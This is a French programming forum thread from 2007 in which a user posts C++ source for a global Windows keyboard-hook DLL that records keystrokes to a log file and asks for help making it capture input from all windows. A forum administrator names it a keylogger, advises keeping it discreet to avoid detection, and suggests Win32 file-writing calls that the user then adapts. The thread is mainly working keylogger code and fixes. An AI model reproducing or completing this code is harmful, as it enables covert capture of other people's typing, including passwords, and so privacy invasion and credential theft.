begin process at 2012 05 29 08:59:42
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C++ & C++ .NET

 > 

Système

 > 

Autre

 > 

Hook clavier et fenêtre premier plan


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

Hook clavier et fenêtre premier plan

lundi 26 février 2007 à 19:34:15 | Hook clavier et fenêtre premier plan

krokro6

Salut à tous, j'ai un petit problème avec ce code la :

#include <windows.h>
#include <string>
#include <iostream>
#include <fstream>

using namespace std;

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

ofstream Fichier;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

void WriteToFile(string Lettre)
{
    Fichier << Lettre;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        if ( ((DWORD)lParam & 1<<30) != FALSE )
        {
            return CallNextHookEx(Hook, nCode, wParam, lParam);
        }
        switch(wParam)
        {
            case 'A' : WriteToFile("a"); break;
           //b, c...
            case VK_SPACE : WriteToFile(" "); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

int DLLEXPORT InitHook()
{
    Fichier.open ("Log.ini", ios::out);
    if(!Hook)
        Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    Fichier.close();
    if(Hook)
        UnhookWindowsHookEx(Hook);
}

que je démarre avec un client ne marche que lorsque la fenêtre est au premier plan ?
N'y aurait-il aucun moyen pour empecher cela ?

Merci de votre aide.
lundi 26 février 2007 à 20:45:40 | Re : Hook clavier et fenêtre premier plan

BruNews

Administrateur CodeS-SourceS
Un handle fichier est invalide d'un processus l'autre.

Un keylogger ets habituellement fait pour être discret, léger et rapide (ne pas se faire trop repérer).
Pas avec ces bidules:
#include <string>
#include <iostream>
#include <fstream>
que ce sera le cas.

ciao...
BruNews, MVP VC++
lundi 26 février 2007 à 20:48:58 | Re : Hook clavier et fenêtre premier plan

krokro6

Si je change tout ça y'aura moyen d'empecher ça ?
lundi 26 février 2007 à 20:57:17 | Re : Hook clavier et fenêtre premier plan

BruNews

Administrateur CodeS-SourceS
Réponse acceptée !
Soit tu communiques avec prog lanceur qu'il enregistre dans le fichier, soit il faut ouvrir écrire et fermer depuis chaque instance de la dll.

Sans surcouche inutile (string et autres binious à la noix), ta dll doit tenir en 6 Ko maxi je pense.
CreateFile()
SetFilePointer()
WriteFile()
CloseHandle()

Ici pour réglages corrects:
http://www.cppfrance.com/code.aspx?ID=36940

ciao...
BruNews, MVP VC++
lundi 26 février 2007 à 21:00:27 | Re : Hook clavier et fenêtre premier plan

krokro6

Ok merci, je viens de trouver ce code que je test :

DWORD myfprintf ( LPCVOID texte )
{
    HANDLE  logfic;                         // Handle du fichier
    DWORD   taille=0;                       // Nombre d'octets effectivement écrits
   
    // Ouverture et positionnement à la fin du fichier pour ajout
    logfic = CreateFile ( FILENAME, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_FLAG_SEQUENTIAL_SCAN, NULL );
    if ( logfic != INVALID_HANDLE_VALUE )
    {
        SetFilePointer ( logfic, 0, 0, FILE_END );
        WriteFile ( logfic, texte, strlen(texte), &taille, NULL );
        CloseHandle ( logfic );
    }
    return taille;
}

mais problème lors de la compilation : error C2664: 'strlen' : cannot convert parameter 1 from 'const void *' to 'const char *'
        Conversion from 'void*' to pointer to non-'void' requires an explicit cast

Je sais quel est le pb mais je ne sais pas comment y remedier, peux tu m'aider ? merci.
lundi 26 février 2007 à 21:25:44 | Re : Hook clavier et fenêtre premier plan

krokro6

Bon bha plus de problème j'ai mis const char* à la place de LPCVOID.

Merci à toi BruNews.
lundi 26 février 2007 à 21:42:14 | Re : Hook clavier et fenêtre premier plan

krokro6

Bon en fait non ça marche plus, j'y comprend plus rien à ce machin.

Un peu d'aide plz :'(.
lundi 26 février 2007 à 21:44:30 | Re : Hook clavier et fenêtre premier plan

krokro6

Bon dsl mais en mettant "c:\\log.txt" à la place de "log.txt" ça marche, j'y comprend rien mais j'ai plus de problème.

Merci encore.
lundi 26 février 2007 à 22:06:32 | Re : Hook clavier et fenêtre premier plan

krokro6

Dernière petite question, lorsque je suis la ou le fichier est situé tout ce que j'écris est bien noté mais quand je ferme et que je vais écrire qqpart d'autre
j'obtiens deux fois la même lettre.

Comment empecher cela ?

merci.


Cette discussion est classée dans : include, wparam, hook, lparam, dllexport


Répondre à ce message

Sujets en rapport avec ce message

HOOK - Help [DevCPP] [ par guitoulefoux ] Bonjour,J'essaye de faire un hook (mon 1er) mais a chaque fois qu'il se lance j'ai un pb d'affectation mémoire.en fait le HOOK récupère les actions cl Combo des touches dans un Hook [ par bdkiller ] Salut,encore moi avec les Hooks xDJ'arrive à mettre les hook en place, ca marche, sauf que je sais pas comment faire pour intercepter la combinaison d Hook clavier sous windows [ par gamani5 ] sltje sais il y a deja beaucoup de tuto sur le sujet mais j en ai lu plein mais j ai toujours un probleme, j arrive a detecter l utilisation d une tou Hook messages de windows [ par deck_bsd ] Bonjour a tous,Voila je suis sur le point de finir mon 1er hook, mais voila , il ne fonctionne que une fois. Il intercepte une fois le message voulu ( Hook clavier [ par krokro6 ] Salut à tous, j'essaye de faire un petit keylogger, mais ce code ne marche pas :#include #define DLLEXPORT  __declspec (dllexport)HHOOK Hook;HINSTANCE MouseHook avec DialogBox [ par mouloudh ] Bonjour la communauté, Je désespère. Voilà plus d'un mois que je cherchais une solution pour un programme (une souris visuelle qui doit rester toujour MouseHook [ par mouloudh ] Bonjour, J'ai déjà posé une question sur le sujet: comment récupérer le Hook dans une DialogBox, finalement on m'en a déssuadé, et depuis j'ai un peu callback [ par krondor5 ] Bonjour, Je retrouve parfois dans certains codes sources, le mot (apparemment réservé) CALLBACK, comme dans l'exemple ci-après, tiré d'une source don lparam wparam [ par sokotanic ] salut a quoi cert wpara et lparam , s'il vous plait je veux l'explication de quelqu'un qui avais d'experience pas de msdn ou d'une autre documentati HOOK: Problème de cast C2440 [ par RV2931 ] Bonjour,Je fais uen petite appli OpenGL. J'ai crée une classe qui affiche de l'OpenGL dans n'importe quel composant (HWND) de l'interface, bref. Je vo


Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,874 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales